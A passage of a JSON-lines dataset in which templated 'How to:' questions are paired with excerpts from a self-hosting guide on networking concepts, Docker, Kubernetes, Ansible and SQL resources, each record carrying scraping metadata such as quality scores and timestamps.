clustering, and multiple out-of-the-box tools on a single solution.\n\n[Wireshark](https://www.wireshark.org/) is a very popular network protocol analyzer that is commonly used for network troubleshooting, analysis, and communications protocol development. Learn more about the other useful [Wireshark Tools](https://wiki.wireshark.org/Tools) available.\n\n[HTTPie](https://github.com/httpie/httpie) is a command-line HTTP client. Its goal is to make CLI interaction with web services as human-friendly as possible. HTTPie is designed for testing, debugging, and generally interacting with APIs & HTTP servers.\n\n[HTTPStat](https://github.com/reorx/httpstat) is a tool that visualizes curl statistics in a simple layout.\n\n[Wuzz](https://github.com/asciimoo/wuzz) is an interactive cli tool for HTTP inspection. It can be used to inspect/modify requests copied from the browser's network inspector with the \"copy as cURL\" feature.\n\n[Websocat](https://github.com/vi/websocat) is a ommand-line client for WebSockets, like netcat (or curl) for ws:// with advanced socat-like functions.\n\n    • Connection: In networking, a connection refers to pieces of related information that are transferred through a network. This generally infers that a connection is built before the data transfer (by following the procedures laid out in a protocol) and then is deconstructed at the at the end of the data transfer.\n\n    • Packet: A packet is, generally speaking, the most basic unit that is transferred over a network. When communicating over a network, packets are the envelopes that carry your data (in pieces) from one end point to the other.\n\nPackets have a header portion that contains information about the packet including the source and destination, timestamps, network hops. The main portion of a packet contains the actual data being transferred. It is sometimes called the body or the payload.\n\n    • Network Interface: A network interface can refer to any kind of software interface to networking hardware. For instance, if you have two network cards in your computer, you can control and configure each network interface associated with them individually.\n\nA network interface may be associated with a physical device, or it may be a representation of a virtual interface. The \"loop-back\" device, which is a virtual interface to the local machine, is an example of this.\n\n    • LAN: LAN stands for \"local area network\". It refers to a network or a portion of a network that is not publicly accessible to the greater internet. A home or office network is an example of a LAN.\n\n    • WAN: WAN stands for \"wide area network\". It means a network that is much more extensive than a LAN. While WAN is the relevant term to use to describe large, dispersed networks in general, it is usually meant to mean the internet, as a whole.\nIf an interface is connected to the WAN, it is generally assumed that it is reachable through the internet.\n\n    • Protocol: A protocol is a set of rules and standards that basically define a language that devices can use to communicate. There are a great number of protocols in use extensively in networking, and they are often implemented in different layers.\n\nSome low level protocols are TCP, UDP, IP, and ICMP. Some familiar examples of application layer protocols, built on these lower protocols, are HTTP (for accessing web content), SSH, TLS/SSL, and FTP.\n\n    • Port: A port is an address on a single machine that can be tied to a specific piece of software. It is not a physical interface or location, but it allows your server to be able to c", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318869"}
{"id": "gh_ffd3337706dd", "question": "How to: Network Layers", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "While networking is often discussed in terms of topology in a horizontal way, between hosts, its implementation is layered in a vertical fashion throughout a computer or network. This means is that there are multiple technologies and protocols that are built on top of each other in order for communication to function more easily. Each successive, higher layer abstracts the raw data a little bit more, and makes it simpler to use for applications and users. It also allows you to leverage lower layers in new ways without having to invest the time and energy to develop the protocols and applications that handle those types of traffic.\n\n\tAs data is sent out of one machine, it begins at the top of the stack and filters downwards. At the lowest level, actual transmission to another machine takes place. At this point, the data travels back up through the layers of the other computer. Each layer has the ability to add its own \"wrapper\" around the data that it receives from the adjacent layer, which will help the layers that come after decide what to do with the data when it is passed off.\n\n\tOne method of talking about the different layers of network communication is the OSI model. OSI stands for Open Systems Interconnect.This model defines seven separate layers. The layers in this model are:\n\n    • Application: The application layer is the layer that the users and user-applications most often interact with. Network communication is discussed in terms of availability of resources, partners to communicate with, and data synchronization.\n\n    • Presentation: The presentation layer is responsible for mapping resources and creating context. It is used to translate lower level networking data into data that applications expect to see.\n\n    • Session: The session layer is a connection handler. It creates, maintains, and destroys connections between nodes in a persistent way.\n\n    • Transport: The transport layer is responsible for handing the layers above it a reliable connection. In this context, reliable refers to the ability to verify that a piece of data was received intact at the other end of the connection. This layer can resend information that has been dropped or corrupted and can acknowledge the receipt of data to remote computers.\n\n    • Network: The network layer is used to route data between different nodes on the network. It uses addresses to be able to tell which computer to send information to. This layer can also break apart larger messages into smaller chunks to be reassembled on the opposite end.\n\n    • Data Link: This layer is implemented as a method of establishing and maintaining reliable links between different nodes or devices on a network using existing physical connections.\n\n    • Physical: The physical layer is responsible for handling the actual physical devices that are used to make a connection. This layer involves the bare software that manages physical connections as well as the hardware itself (like Ethernet).\n\nThe TCP/IP model, more commonly known as the Internet protocol suite, is another layering model that is simpler and has been widely adopted.It defines the four separate layers, some of which overlap with the OSI model:\n\n    • Application: In this model, the application layer is responsible for creating and transmitting user data between applications. The applications can be on remote systems, and should appear to operate as if locally to the end user.\nThe communication takes place between peers network.\n\n    • Transport: The transport layer is responsible for communication between processes. This level of networking utilizes ports to address different services. It can build up unreliable or reliable connections depending on the type of protocol used.\n\n    • Internet: The internet layer is used to transport data from node to node in a network. This layer is aware of the endpoints of the connections, but does not worry about the actual connection needed to get from one place to another. IP addresses are defined in this layer as a way of reaching remote systems in an addressable manner.\n\n    • Link: The link layer implements the actual topology of the local network that allows the internet layer to present an addressable interface. It establishes connections between neighboring nodes to send data.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318882"}
{"id": "gh_89bd5180403f", "question": "How to: Interfaces", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "**Interfaces** are networking communication points for your computer. Each interface is associated with a physical or virtual networking device. Typically, your server will have one configurable network interface for each Ethernet or wireless internet card you have. In addition, it will define a virtual network interface called the \"loopback\" or localhost interface. This is used as an interface to connect applications and processes on a single computer to other applications and processes. You can see this referenced as the \"lo\" interface in many tools.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318888"}
{"id": "gh_2f43bb1533a8", "question": "How to: Network Protocols", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "Networking works by piggybacks on a number of different protocols on top of each other. In this way, one piece of data can be transmitted using multiple protocols encapsulated within one another.\n\n**Media Access Control(MAC)** is a communications protocol that is used to distinguish specific devices. Each device is supposed to get a unique MAC address during the manufacturing process that differentiates it from every other device on the internet. Addressing hardware by the MAC address allows you to reference a device by a unique value even when the software on top may change the name for that specific device during operation. Media access control is one of the only protocols from the link layer that you are likely to interact with on a regular basis.\n\n**The IP protocol** is one of the fundamental protocols that allow the internet to work. IP addresses are unique on each network and they allow machines to address each other across a network. It is implemented on the internet layer in the IP/TCP model. Networks can be linked together, but traffic must be routed when crossing network boundaries. This protocol assumes an unreliable network and multiple paths to the same destination that it can dynamically change between. There are a number of different implementations of the protocol. The most common implementation today is IPv4, although IPv6 is growing in popularity as an alternative due to the scarcity of IPv4 addresses available and improvements in the protocols capabilities.\n\n**ICMP: internet control message protocol** is used to send messages between devices to indicate the availability or error conditions. These packets are used in a variety of network diagnostic tools, such as ping and traceroute. Usually ICMP packets are transmitted when a packet of a different kind meets some kind of a problem. Basically, they are used as a feedback mechanism for network communications.\n\n**TCP: Transmission control protocol** is implemented in the transport layer of the IP/TCP model and is used to establish reliable connections. TCP is one of the protocols that encapsulates data into packets. It then transfers these to the remote end of the connection using the methods available on the lower layers. On the other end, it can check for errors, request certain pieces to be resent, and reassemble the information into one logical piece to send to the application layer. The protocol builds up a connection prior to data transfer using a system called a three-way handshake. This is a way for the two ends of the communication to acknowledge the request and agree upon a method of ensuring data reliability. After the data has been sent, the connection is torn down using a similar four-way handshake. TCP is the protocol of choice for many of the most popular uses for the internet, including WWW, FTP, SSH, and email. It is safe to say that the internet we know today would not be here without TCP.\n\n**UDP: User datagram protocol** is a popular companion protocol to TCP and is also implemented in the transport layer. The fundamental difference between UDP and TCP is that UDP offers unreliable data transfer. It does not verify that data has been received on the other end of the connection. This might sound like a bad thing, and for many purposes, it is. However, it is also extremely important for some functions. It’s not required to wait for confirmation that the data was received and forced to resend data, UDP is much faster than TCP. It does not establish a connection with the remote host, it simply fires off the data to that host and doesn't care if it is accepted or not. Since UDP is a simple transaction, it is useful for simple communications like querying for network resources. It also doesn't maintain a state, which makes it great for transmitting data from one machine to many real-time clients. This makes it ideal for VOIP, games, and other applications that cannot afford delays.\n\n**HTTP: Hypertext transfer protocol** is a protocol defined in the application layer that forms the basis for communication on the web. HTTP defines a number of functions that tell the remote system what you are requesting. For instance, GET, POST, and DELETE all interact with the requested data in a different way.\n\n**FTP: File transfer protocol** is in the application layer and provides a way of transferring complete files from one host to another. It is inherently insecure, so it is not recommended for any externally facing network unless it is implemented as a public, download-only resource.\n\n**DNS: Domain name system** is an application layer protocol used to provide a human-friendly naming mechanism for internet resources. It is what ties a domain name to an IP address and allows you to access sites by name in your browser.\n\n**SSH: Secure shell** is an encrypted protocol implemented in the application layer that can be used to communicate with a remote server in a secure way. Many additional technologies are built around this protocol because of", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318906"}
{"id": "gh_d38a97c0da05", "question": "How to: Docker Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Docker Training Program](https://www.docker.com/dockercon/training)\n\n[Docker Certified Associate (DCA) certification](https://training.mirantis.com/dca-certification-exam/)\n\n[Docker Documentation | Docker Documentation](https://docs.docker.com/)\n\n[The Docker Workshop](https://courses.packtpub.com/courses/docker)\n\n[Docker Courses on Udemy](https://www.udemy.com/topic/docker/)\n\n[Docker Courses on Coursera](https://www.coursera.org/courses?query=docker)\n\n[Docker Courses on edX](https://www.edx.org/learn/docker)\n\n[Docker Courses on Linkedin Learning](https://www.linkedin.com/learning/topics/docker)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318913"}
{"id": "gh_35998a39d716", "question": "How to: Docker Tools", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Docker](https://www.docker.com/) is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly working in collaboration with cloud, Linux, and Windows vendors, including Microsoft.\n\n[Docker Enterprise](https://www.mirantis.com/software/docker/docker-enterprise/) is a subscription including software, supported and certified container platform for CentOS, Red Hat Enterprise Linux (RHEL), Ubuntu, SUSE Linux Enterprise Server (SLES), Oracle Linux, and Windows Server 2016, as well as for cloud providers AWS and Azure. In [November 2019 Docker's Enterprise Platform business was acquired by Mirantis](https://www.mirantis.com/company/press-center/company-news/mirantis-acquires-docker-enterprise/).\n\n[Docker Desktop](https://www.docker.com/products/docker-desktop) is an application for MacOS and Windows machines for the building and sharing of containerized applications and microservices. Docker Desktop delivers the speed, choice and security you need for designing and delivering containerized applications on your desktop. Docker Desktop includes Docker App, developer tools, Kubernetes and version synchronization to production Docker Engines.\n\n[Docker Hub](https://hub.docker.com/) is the world's largest library and community for container images Browse over 100,000 container images from software vendors, open-source projects, and the community.\n\n[Docker Compose](https://docs.docker.com/compose/) is a tool that was developed to help define and share multi-container applications. With Docker Compose, you can create a YAML file to define the services and with a single command, can spin everything up or tear it all down.\n\n[Docker Swarm](https://docs.docker.com/engine/swarm/) is a Docker-native clustering system swarm is a simple tool which controls a cluster of Docker hosts and exposes it as a single \"virtual\" host.\n\n[Dockerfile](https://docs.docker.com/engine/reference/builder/) is a text document that contains all the commands a user could call on the command line to assemble an image. Using docker build users can create an automated build that executes several command-line instructions in succession.\n\n[Docker Containers](https://www.docker.com/resources/what-container) is a standard unit of software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another.\n\n[Docker Engine](https://www.docker.com/products/container-runtime) is a container runtime that runs on various Linux (CentOS, Debian, Fedora, Oracle Linux, RHEL, SUSE, and Ubuntu) and Windows Server operating systems. Docker creates simple tooling and a universal packaging approach that bundles up all application dependencies inside a container which is then run on Docker Engine.\n\n[Docker Images](https://docs.docker.com/engine/reference/commandline/images/) is a lightweight, standalone, executable package of software that includes everything needed to run an application: code, runtime, system tools, system libraries and settings. Images have intermediate layers that increase reusability, decrease disk usage, and speed up docker build by allowing each step to be cached. These intermediate layers are not shown by default. The SIZE is the cumulative space taken up by the image and all its parent images.\n\n[Docker Network](https://docs.docker.com/engine/reference/commandline/network/) is a that displays detailed information on one or more networks.\n\n[Docker Daemon](https://docs.docker.com/config/daemon/) is a service started by a system utility, not manually by a user. This makes it easier to automatically start Docker when the machine reboots. The command to start Docker depends on your operating system. Currently, it only runs on Linux because it depends on a number of Linux kernel features, but there are a few ways to run Docker on MacOS and Windows as well by configuring the operating system utilities.\n\n[Docker Storage](https://docs.docker.com/storage/storagedriver/select-storage-driver/) is a driver controls how images and containers are stored and managed on your Docker host.\n\n[Kitematic](https://kitematic.com/) is a simple application for managing Docker containers on Mac, Linux and Windows letting you control your app containers from a graphical user interface (GUI).\n\n[Open Container Initiative](https://opencontainers.org/about/overview/) is an open governance structure for the express purpose of creating open industry standards around container formats and runtimes.\n\n[Buildah](https://buildah.io/) is a command line tool to build Open Container Initiative (OCI) images. It can be used with Docker, Podman, Kubernetes.\n\n[Podman](https://podman.io/) is a daemonless, open source, Linux native tool designed to make it easy to find, run, build, share and deploy applications using Open Containers Initiative (OCI) Containers and Container Images. Podman provides a command line", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318925"}
{"id": "gh_c6820a6eef21", "question": "How to: Kubernetes", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318930"}
{"id": "gh_2c87adbbb5e5", "question": "How to: Kubernetes Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Kubernetes (K8s)](https://kubernetes.io/) is an open-source system for automating deployment, scaling, and management of containerized applications.\n\n[Getting Kubernetes Certifications](https://training.linuxfoundation.org/certification/catalog/?_sft_technology=kubernetes)\n\n[Getting started with Kubernetes on AWS](https://aws.amazon.com/kubernetes/)\n\n[Kubernetes on Microsoft Azure](https://azure.microsoft.com/en-us/topic/what-is-kubernetes/)\n\n[Intro to Azure Kubernetes Service](https://docs.microsoft.com/en-us/azure/aks/kubernetes-dashboard)\n\n[Azure Red Hat OpenShift ](https://azure.microsoft.com/en-us/services/openshift/)\n\n[Getting started with Google Cloud](https://cloud.google.com/learn/what-is-kubernetes)\n\n[Getting started with Kubernetes on Red Hat](https://www.redhat.com/en/topics/containers/what-is-kubernetes)\n\n[Getting started with Kubernetes on IBM](https://www.ibm.com/cloud/learn/kubernetes)\n\n[Red Hat OpenShift on IBM Cloud](https://www.ibm.com/cloud/openshift)\n\n[Enable OpenShift Virtualization on Red Hat OpenShift](https://developers.redhat.com/blog/2020/08/28/enable-openshift-virtualization-on-red-hat-openshift/)\n\n[YAML basics in Kubernetes](https://developer.ibm.com/technologies/containers/tutorials/yaml-basics-and-usage-in-kubernetes/)\n\n[Elastic Cloud on Kubernetes](https://www.elastic.co/elastic-cloud-kubernetes)\n\n[Docker and Kubernetes](https://www.docker.com/products/kubernetes)\n\n[Running Apache Spark on Kubernetes](http://spark.apache.org/docs/latest/running-on-kubernetes.html)\n\n[Kubernetes Across VMware vRealize Automation](https://blogs.vmware.com/management/2019/06/kubernetes-across-vmware-cloud-automation-services.html)\n\n[VMware Tanzu Kubernetes Grid](https://tanzu.vmware.com/kubernetes-grid)\n\n[All the Ways VMware Tanzu Works with AWS](https://tanzu.vmware.com/content/blog/all-the-ways-vmware-tanzutm-works-with-aws)\n\n[VMware Tanzu Education](https://tanzu.vmware.com/education)\n\n[Using Ansible in a Cloud-Native Kubernetes Environment](https://www.ansible.com/blog/how-useful-is-ansible-in-a-cloud-native-kubernetes-environment)\n\n[Managing Kubernetes (K8s) objects with Ansible](https://docs.ansible.com/ansible/latest/collections/community/kubernetes/k8s_module.html)\n\n[Setting up a Kubernetes cluster using Vagrant and Ansible](https://kubernetes.io/blog/2019/03/15/kubernetes-setup-using-ansible-and-vagrant/)\n\n[Running MongoDB with Kubernetes](https://www.mongodb.com/kubernetes)\n\n[Kubernetes Fluentd](https://docs.fluentd.org/v/0.12/articles/kubernetes-fluentd)\n\n[Understanding the new GitLab Kubernetes Agent](https://about.gitlab.com/blog/2020/09/22/introducing-the-gitlab-kubernetes-agent/)\n\n[Intro Local Process with Kubernetes for Visual Studio 2019](https://devblogs.microsoft.com/visualstudio/introducing-local-process-with-kubernetes-for-visual-studio%E2%80%AF2019/)\n\n[Kubernetes Contributors](https://www.kubernetes.dev/)\n\n[KubeAcademy from VMware](https://kube.academy/)\n\n[Kubernetes Tutorials from Pulumi](https://www.pulumi.com/docs/tutorials/kubernetes/)\n\n[Kubernetes Playground by Katacoda](https://www.katacoda.com/courses/kubernetes/playground)\n\n[Scalable Microservices with Kubernetes course from Udacity ](https://www.udacity.com/course/scalable-microservices-with-kubernetes--ud615)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318943"}
{"id": "gh_affd3ce1a927", "question": "How to: Kubernetes Tools, Frameworks, and Projects", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Open Container Initiative](https://opencontainers.org/about/overview/) is an open governance structure for the express purpose of creating open industry standards around container formats and runtimes.\n\n[Buildah](https://buildah.io/) is a command line tool to build Open Container Initiative (OCI) images. It can be used with Docker, Podman, Kubernetes.\n\n[Podman](https://podman.io/) is a daemonless, open source, Linux native tool designed to make it easy to find, run, build, share and deploy applications using Open Containers Initiative (OCI) Containers and Container Images. Podman provides a command line interface (CLI) familiar to anyone who has used the Docker Container Engine.\n\n[Containerd](https://containerd.io) is a daemon that manages the complete container lifecycle of its host system, from image transfer and storage to container execution and supervision to low-level storage to network attachments and beyond. It is available for Linux and Windows.\n\n[Google Kubernetes Engine (GKE)](https://cloud.google.com/kubernetes-engine/) is a managed, production-ready environment for running containerized applications.\n\n[Azure Kubernetes Service (AKS)](https://azure.microsoft.com/en-us/services/kubernetes-service/) is serverless Kubernetes, with a integrated continuous integration and continuous delivery (CI/CD) experience, and enterprise-grade security and governance. Unite your development and operations teams on a single platform to rapidly build, deliver, and scale applications with confidence.\n\n[Amazon EKS](https://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html) is a tool that runs Kubernetes control plane instances across multiple Availability Zones to ensure high availability.\n\n[AWS Controllers for Kubernetes (ACK)](https://aws.amazon.com/blogs/containers/aws-controllers-for-kubernetes-ack/) is a new tool that lets you directly manage AWS services from Kubernetes. ACK makes it simple to build scalable and highly-available Kubernetes applications that utilize AWS services.\n\n[Container Engine for Kubernetes (OKE)](https://www.oracle.com/cloud-native/container-engine-kubernetes/) is an Oracle-managed container orchestration service that can reduce the time and cost to build modern cloud native applications. Unlike most other vendors, Oracle Cloud Infrastructure provides Container Engine for Kubernetes as a free service that runs on higher-performance, lower-cost compute.\n\n[Anthos](https://cloud.google.com/anthos/docs/concepts/overview) is a modern application management platform that provides a consistent development and operations experience for cloud and on-premises environments.\n\n[Red Hat Openshift](https://www.openshift.com/) is a fully managed Kubernetes platform that provides a foundation for on-premises, hybrid, and multicloud deployments.\n\n[OKD](https://okd.io/) is a community distribution of Kubernetes optimized for continuous application development and multi-tenant deployment. OKD adds developer and operations-centric tools on top of Kubernetes to enable rapid application development, easy deployment and scaling, and long-term lifecycle maintenance for small and large teams.\n\n[Odo](https://odo.dev/) is a fast, iterative, and straightforward CLI tool for developers who write, build, and deploy applications on Kubernetes and OpenShift.\n\n[Kata Operator](https://github.com/openshift/kata-operator) is an operator to perform lifecycle management (install/upgrade/uninstall) of [Kata Runtime](https://katacontainers.io/) on Openshift as well as Kubernetes cluster.\n\n[Thanos](https://thanos.io/) is a set of components that can be composed into a highly available metric system with unlimited storage capacity, which can be added seamlessly on top of existing Prometheus deployments.\n\n[OpenShift Hive](https://github.com/openshift/hive) is an operator which runs as a service on top of Kubernetes/OpenShift. The Hive service can be used to provision and perform initial configuration of OpenShift 4 clusters.\n\n[Rook](https://rook.io/) is a tool that turns distributed storage systems into self-managing, self-scaling, self-healing storage services. It automates the tasks of a storage administrator: deployment, bootstrapping, configuration, provisioning, scaling, upgrading, migration, disaster recovery, monitoring, and resource management.\n\n[VMware Tanzu](https://tanzu.vmware.com/tanzu) is a centralized management platform for consistently operating and securing your Kubernetes infrastructure and modern applications across multiple teams and private/public clouds.\n\n[Kubespray](https://kubespray.io/) is a tool that combines Kubernetes and Ansible to easily install Kubernetes clusters that can be deployed on [AWS](https://github.com/kubernetes-sigs/kubespray/blob/master/docs/aws.md), GCE, [Azure](https://github.com/kubernetes-sigs/kubespray/blob/master/docs/azure.md), [OpenStack](https://github.com/kubernetes-sigs/kubespray/blob/master/docs/openstack.md), [vSphere](https://github.com/kubernetes-sigs/kubespray/b", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318960"}
{"id": "gh_a9bcff244382", "question": "How to: Ansible Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Ansible](https://www.ansible.com/) is a simple IT automation engine that automates cloud provisioning, configuration management, application deployment, intra-service orchestration, and many other IT needs. It uses a very simple language (YAML, in the form of Ansible Playbooks) that allows you to describe your automation jobs in a way that approaches plain English. Anisble works on Linux (Red Hat EnterPrise Linux(RHEL) and Ubuntu) and Microsoft Windows.\n\n[Red Hat Training for Ansible](https://www.ansible.com/products/training-certification)\n\n[Top Ansible Courses Online from Udemy](https://www.udemy.com/topic/ansible/)\n\n[Introduction to Ansible: The Fundamentals on Coursera](https://www.coursera.org/projects/ansible-fundamentals)\n\n[Learning Ansible Fundamentals on Pluralsight](https://www.pluralsight.com/courses/ansible-fundamentals)\n\n[Introducing Red Hat Ansible Automation Platform 2.1](https://www.ansible.com/blog/introducing-red-hat-ansible-automation-platform-2.1)\n\n[Ansible Documentation](https://docs.ansible.com/ansible/latest/index.html)\n\n[Ansible Galaxy User Guide](https://docs.ansible.com/ansible/latest/galaxy/user_guide.html)\n\n[Ansible Use Cases](https://www.ansible.com/use-cases?hsLang=en-us)\n\n[Ansible Integrations](https://www.ansible.com/integrations?hsLang=en-us)\n\n[Ansible Collections Overview](https://github.com/ansible-collections/overview/blob/main/README.rst)\n\n[Working with playbooks](https://docs.ansible.com/ansible/latest/user_guide/playbooks.html)\n\n[Ansible for DevOps Examples by Jeff Geerling](https://github.com/geerlingguy/ansible-for-devops)\n\n[Getting Started: Writing Your First Playbook - Ansible](https://www.ansible.com/blog/getting-started-writing-your-first-playbook)\n\n[Working With Modules in Ansible](https://docs.ansible.com/ansible/latest/user_guide/modules.html)\n\n[Ansible Best Practices: Roles & Modules](https://www.ansible.com/resources/webinars-training/ansible-best-practices-roles-modules)\n\n[Working with command line tools for Ansible](https://docs.ansible.com/ansible/latest/user_guide/command_line_tools.html)\n\n[Encrypting content with Ansible Vault](https://docs.ansible.com/ansible/latest/user_guide/vault.html)\n\n[Using vault in playbooks with Ansible](https://docs.ansible.com/ansible/latest/user_guide/playbooks_vault.html)\n\n[Using Ansible With Azure](https://docs.microsoft.com/en-us/azure/developer/ansible/overview)\n\n[Configuring Ansible on an Azure VM](https://docs.microsoft.com/en-us/azure/developer/ansible/install-on-linux-vm)\n\n[How to Use Ansible: An Ansible Cheat Sheet Guide from DigitalOcean](https://www.digitalocean.com/community/cheatsheets/how-to-use-ansible-cheat-sheet-guide)\n\n[Intro to Ansible on Linode | Spatial Labs](https://spatial-labs.dev/posts/202101072328-intro-to-ansible-on-linode/)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318969"}
{"id": "gh_457e82ad03a5", "question": "How to: Ansible DevOps Tools Integration", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Ansible Automation Hub](https://www.ansible.com/products/automation-hub) is the official location to discover and download supported [collections](https://docs.ansible.com/ansible/latest/user_guide/collections_using.html#collections), included as part of an Ansible Automation Platform subscription. These content collections contain modules, plugins, roles, and playbooks in a downloadable package.\n\n[Collections](https://docs.ansible.com/ansible/latest/user_guide/collections_using.html#collections) are a distribution format for Ansible content that can include playbooks, roles, modules, and plugins. As modules move from the core Ansible repository into collections, the module documentation will move to the [collections pages](https://docs.ansible.com/ansible/latest/collections/index.html#list-of-collections).\n\n[Ansible Lint](https://ansible-lint.readthedocs.io/en/latest/) is a command-line tool for linting playbooks, roles and collections aimed towards any Ansible users. Its main goal is to promote proven practices, patterns and behaviors while avoiding common pitfalls that can easily lead to bugs or make code harder to maintain.\n\n[Ansible cmdb](https://github.com/fboender/ansible-cmdb) is a tool that takes the output of Ansible’s fact gathering and converts it into a static HTML overview page containing system configuration information.\n\n[Ansible Inventory Grapher](https://github.com/willthames/ansible-inventory-grapher) visually displays inventory inheritance hierarchies and at what level a variable is defined in inventory.\n\n[Ansible Playbook Grapher](https://github.com/haidaraM/ansible-playbook-grapher) is a  command line tool to create a graph representing your Ansible playbook tasks and roles.\n\n[Ansible Shell](https://github.com/dominis/ansible-shell) is an interactive shell for Ansible with built-in tab completion for all the modules.\n\n[Ansible Silo](https://github.com/groupon/ansible-silo) is a self-contained Ansible environment by [Docker](https://www.docker.com/).\n\n[Ansigenome](https://github.com/nickjj/ansigenome) is a command line tool designed to help you manage your Ansible roles.\n\n[ARA](https://github.com/openstack/ara) is a records Ansible playbook runs and makes the recorded data available and intuitive for users and systems by integrating with Ansible as a callback plugin.\n\n[Capistrano](https://capistranorb.com/documentation/overview/what-is-capistrano/) is a remote server automation tool. It supports the scripting and execution of arbitrary tasks, and includes a set of sane-default deployment workflows.\n\n[Fabric](https://www.fabfile.org) is a high level Python (2.7, 3.4+) library designed to execute shell commands remotely over SSH, yielding useful Python objects in return. It builds on top of [Invoke](https://www.pyinvoke.org) (subprocess command execution and command-line features) and [Paramiko](https://paramiko.org/) (SSH protocol implementation), extending their APIs to complement one another and provide additional functionality.\n\n[ansible-role-wireguard](https://galaxy.ansible.com/githubixx/ansible_role_wireguard) is an Ansible role for installing WireGuard VPN. Supports Ubuntu, Debian, Archlinx, Fedora and CentOS Stream.\n\n[wireguard_cloud_gateway](https://galaxy.ansible.com/consensus/wireguard_cloud_gateway) is an Ansible role for setting up Wireguard as a gateway VPN server for cloud networks.\n\n[Red Hat OpenShift](https://www.openshift.com/) is focused on security at every level of the container stack and throughout the application lifecycle. It includes long-term, enterprise support from one of the leading Kubernetes contributors and open source software companies.\n\n[OpenShift Hive](https://github.com/openshift/hive) is an operator which runs as a service on top of Kubernetes/OpenShift. The Hive service can be used to provision and perform initial configuration of OpenShift 4 clusters.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318982"}
{"id": "gh_78f06a119235", "question": "How to: SQL/NoSQL Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[SQL](https://en.wikipedia.org/wiki/SQL) is a standard language for storing, manipulating and retrieving data in relational databases.\n\n[NoSQL](https://www.ibm.com/cloud/blog/sql-vs-nosql) is a database that is interchangeably referred to as \"nonrelational, or \"non-SQL\" to highlight that the database can handle huge volumes of rapidly changing, unstructured data in different ways than a relational (SQL-based) database with rows and tables.\n\n[Transact-SQL(T-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/language-reference) is a Microsoft extension of SQL with all of the tools and applications communicating to a SQL database by sending T-SQL commands.\n\n[Introduction to Transact-SQL](https://docs.microsoft.com/en-us/learn/modules/introduction-to-transact-sql/)\n\n[SQL Tutorial by W3Schools](https://www.w3schools.com/sql/)\n\n[Learn SQL Skills Online from Coursera](https://www.coursera.org/courses?query=sql)\n\n[SQL Courses Online from Udemy](https://www.udemy.com/topic/sql/)\n\n[SQL Online Training Courses from LinkedIn Learning](https://www.linkedin.com/learning/topics/sql)\n\n[Learn SQL For Free from Codecademy](https://www.codecademy.com/learn/learn-sql)\n\n[GitLab's SQL Style Guide](https://about.gitlab.com/handbook/business-ops/data-team/platform/sql-style-guide/)\n\n[OracleDB SQL Style Guide Basics](https://oracle.readthedocs.io/en/latest/sql/basics/style-guide.html)\n\n[Tableau CRM: BI Software and Tools](https://www.salesforce.com/products/crm-analytics/overview/)\n\n[Databases on 